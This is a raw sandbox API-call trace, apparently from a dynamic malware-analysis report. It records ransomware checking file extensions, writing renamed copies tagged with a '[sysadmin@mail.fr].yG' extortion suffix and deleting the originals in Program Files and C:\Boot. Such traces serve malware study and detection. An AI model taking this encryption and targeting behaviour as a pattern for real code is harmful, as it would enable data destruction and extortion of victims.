	[0184.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.612] lstrlenW (lpString=".xlsx") returned 5
	[0184.612] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.612] lstrlenW (lpString=".ppt") returned 4
	[0184.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.612] lstrlenW (lpString=".zip") returned 4
	[0184.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.612] lstrlenW (lpString=".rar") returned 4
	[0184.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.612] lstrlenW (lpString=".bz2") returned 4
	[0184.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.612] lstrlenW (lpString=".7z") returned 3
	[0184.612] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.612] lstrlenW (lpString=".dbf") returned 4
	[0184.612] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.613] lstrlenW (lpString=".1cd") returned 4
	[0184.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 68
	[0184.613] lstrlenW (lpString=".jpg") returned 4
	[0184.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.613] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.613] lstrlenW (lpString="FD00382_.WMF") returned 12
	[0184.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.613] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=8424) returned 1
	[0184.613] CloseHandle (hObject=0x368) returned 1
	[0184.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 0x220
	[0184.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.614] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.614] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.615] GetLastError () returned 0x0
	[0184.615] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x20e8, lpOverlapped=0x0) returned 1
	[0184.616] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0x20f0, lpOverlapped=0x0) returned 1
	[0184.617] ReadFile (in: hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.617] WriteFile (in: hFile=0x30c, lpBuffer=0x3b0c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0c020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.618] SetEndOfFile (hFile=0x30c) returned 1
	[0184.618] CloseHandle (hObject=0x30c) returned 1
	[0184.618] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.618] SetEndOfFile (hFile=0x368) returned 1
	[0184.619] CloseHandle (hObject=0x368) returned 1
	[0184.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1
	[0184.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.620] lstrlenW (lpString=".doc") returned 4
	[0184.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.620] lstrlenW (lpString=".docx") returned 5
	[0184.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.620] lstrlenW (lpString=".pdf") returned 4
	[0184.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.620] lstrlenW (lpString=".xls") returned 4
	[0184.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.620] lstrlenW (lpString=".xlsx") returned 5
	[0184.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.620] lstrlenW (lpString=".ppt") returned 4
	[0184.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.620] lstrlenW (lpString=".zip") returned 4
	[0184.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.620] lstrlenW (lpString=".rar") returned 4
	[0184.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.620] lstrlenW (lpString=".bz2") returned 4
	[0184.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString=".7z") returned 3
	[0184.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.621] lstrlenW (lpString=".dbf") returned 4
	[0184.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.621] lstrlenW (lpString=".1cd") returned 4
	[0184.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.621] lstrlenW (lpString=".jpg") returned 4
	[0184.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.621] lstrlenW (lpString=".doc") returned 4
	[0184.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString=".docx") returned 5
	[0184.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.621] lstrlenW (lpString=".pdf") returned 4
	[0184.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString=".xls") returned 4
	[0184.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.621] lstrlenW (lpString=".xlsx") returned 5
	[0184.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.621] lstrlenW (lpString=".ppt") returned 4
	[0184.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.621] lstrlenW (lpString=".zip") returned 4
	[0184.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.621] lstrlenW (lpString=".rar") returned 4
	[0184.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString=".bz2") returned 4
	[0184.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.621] lstrlenW (lpString=".7z") returned 3
	[0184.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.622] lstrlenW (lpString=".dbf") returned 4
	[0184.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.622] lstrlenW (lpString=".1cd") returned 4
	[0184.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0184.622] lstrlenW (lpString=".jpg") returned 4
	[0184.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.622] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.622] lstrlenW (lpString="FD00397_.WMF") returned 12
	[0184.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.622] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=10816) returned 1
	[0184.622] CloseHandle (hObject=0x368) returned 1
	[0184.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220
	[0184.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0184.623] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.623] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.624] GetLastError () returned 0x0
	[0184.624] ReadFile (hFile=0x368, lpBuffer=0x3b0c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0) 

Thread:
	id = 100
	os_tid = 0xc1c

	[0178.547] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c10048
	[0178.548] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3c20050
	[0178.549] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6fa518
	[0178.549] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x6) returned 0x71fdd8
	[0178.549] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f96c0
	[0178.549] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x100000) returned 0x3d1f020
	[0178.552] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f9678
	[0178.552] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f9678, Size=0x20) returned 0x6de020
	[0178.552] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x6f98b8
	[0178.552] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6f98b8, Size=0x20) returned 0x6de070
	[0178.552] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x763a0000
	[0178.553] GetProcAddress (hModule=0x763a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x763b6b30
	[0178.553] Wow64DisableWow64FsRedirection (in: OldValue=0x315ff50 | out: OldValue=0x315ff50*=0x0) returned 1
	[0178.553] lstrlenW (lpString="kernel32.dll") returned 12
	[0178.553] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.553] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0178.553] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de070 | out: hHeap=0x6a0000) returned 1
	[0178.553] Sleep (dwMilliseconds=0x64) 
	[0178.821] Sleep (dwMilliseconds=0x64) 
	[0179.066] Sleep (dwMilliseconds=0x64) 
	[0179.350] lstrcmpiW (lpString1=".LOG", lpString2=".yG") returned -1
	[0179.350] lstrlenW (lpString="BCD.LOG") returned 7
	[0179.350] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.350] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.350] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.350] lstrlenW (lpString=".doc") returned 4
	[0179.350] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0179.350] lstrlenW (lpString=".docx") returned 5
	[0179.350] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0179.350] lstrlenW (lpString=".pdf") returned 4
	[0179.350] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0179.350] lstrlenW (lpString=".xls") returned 4
	[0179.350] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0179.350] lstrlenW (lpString=".xlsx") returned 5
	[0179.350] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0179.350] lstrlenW (lpString=".ppt") returned 4
	[0179.350] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0179.350] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.350] lstrlenW (lpString=".zip") returned 4
	[0179.350] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0179.351] lstrlenW (lpString=".rar") returned 4
	[0179.351] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0179.351] lstrlenW (lpString=".bz2") returned 4
	[0179.351] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0179.351] lstrlenW (lpString=".7z") returned 3
	[0179.351] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0179.351] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.351] lstrlenW (lpString=".dbf") returned 4
	[0179.351] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0179.351] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.351] lstrlenW (lpString=".1cd") returned 4
	[0179.351] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0179.351] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.351] lstrlenW (lpString=".jpg") returned 4
	[0179.351] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0179.351] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.351] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.351] lstrlenW (lpString=".doc") returned 4
	[0179.351] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0179.351] lstrlenW (lpString=".docx") returned 5
	[0179.351] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0179.351] lstrlenW (lpString=".pdf") returned 4
	[0179.351] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0179.351] lstrlenW (lpString=".xls") returned 4
	[0179.351] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0179.351] lstrlenW (lpString=".xlsx") returned 5
	[0179.351] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0179.352] lstrlenW (lpString=".ppt") returned 4
	[0179.352] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0179.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.352] lstrlenW (lpString=".zip") returned 4
	[0179.352] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0179.352] lstrlenW (lpString=".rar") returned 4
	[0179.352] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0179.352] lstrlenW (lpString=".bz2") returned 4
	[0179.352] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0179.352] lstrlenW (lpString=".7z") returned 3
	[0179.352] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0179.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.352] lstrlenW (lpString=".dbf") returned 4
	[0179.352] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0179.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.352] lstrlenW (lpString=".1cd") returned 4
	[0179.352] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0179.352] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0179.352] lstrlenW (lpString=".jpg") returned 4
	[0179.352] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0179.352] lstrcmpiW (lpString1=".p7b", lpString2=".yG") returned -1
	[0179.352] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0179.352] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.353] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=4662) returned 1
	[0179.353] CloseHandle (hObject=0x350) returned 1
	[0179.353] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0179.353] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.353] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.353] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.354] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.354] lstrlenW (lpString=".doc") returned 4
	[0179.354] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0179.354] lstrlenW (lpString=".docx") returned 5
	[0179.354] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0179.354] lstrlenW (lpString=".pdf") returned 4
	[0179.354] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0179.354] lstrlenW (lpString=".xls") returned 4
	[0179.354] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0179.354] lstrlenW (lpString=".xlsx") returned 5
	[0179.354] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0179.354] lstrlenW (lpString=".ppt") returned 4
	[0179.354] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0179.354] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.354] lstrlenW (lpString=".zip") returned 4
	[0179.354] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0179.354] lstrlenW (lpString=".rar") returned 4
	[0179.354] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0179.354] lstrlenW (lpString=".bz2") returned 4
	[0179.354] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0179.354] lstrlenW (lpString=".7z") returned 3
	[0179.354] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0179.354] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.354] lstrlenW (lpString=".dbf") returned 4
	[0179.354] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0179.354] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.354] lstrlenW (lpString=".1cd") returned 4
	[0179.354] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0179.355] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.355] lstrlenW (lpString=".jpg") returned 4
	[0179.355] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0179.355] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.355] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.355] lstrlenW (lpString=".doc") returned 4
	[0179.355] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0179.355] lstrlenW (lpString=".docx") returned 5
	[0179.355] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0179.355] lstrlenW (lpString=".pdf") returned 4
	[0179.355] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0179.355] lstrlenW (lpString=".xls") returned 4
	[0179.355] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0179.355] lstrlenW (lpString=".xlsx") returned 5
	[0179.355] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0179.355] lstrlenW (lpString=".ppt") returned 4
	[0179.355] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0179.355] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.355] lstrlenW (lpString=".zip") returned 4
	[0179.355] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0179.355] lstrlenW (lpString=".rar") returned 4
	[0179.355] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0179.355] lstrlenW (lpString=".bz2") returned 4
	[0179.355] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0179.355] lstrlenW (lpString=".7z") returned 3
	[0179.355] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0179.355] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.356] lstrlenW (lpString=".dbf") returned 4
	[0179.356] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0179.356] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.356] lstrlenW (lpString=".1cd") returned 4
	[0179.356] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0179.356] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0179.356] lstrlenW (lpString=".jpg") returned 4
	[0179.356] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0179.356] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0179.356] lstrlenW (lpString="Alphabet.xml") returned 12
	[0179.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0179.357] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=791421) returned 1
	[0179.357] CloseHandle (hObject=0x350) returned 1
	[0179.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0179.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0179.357] lstrlenW (lpString=".doc") returned 4
	[0179.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0179.357] lstrlenW (lpString=".docx") returned 5
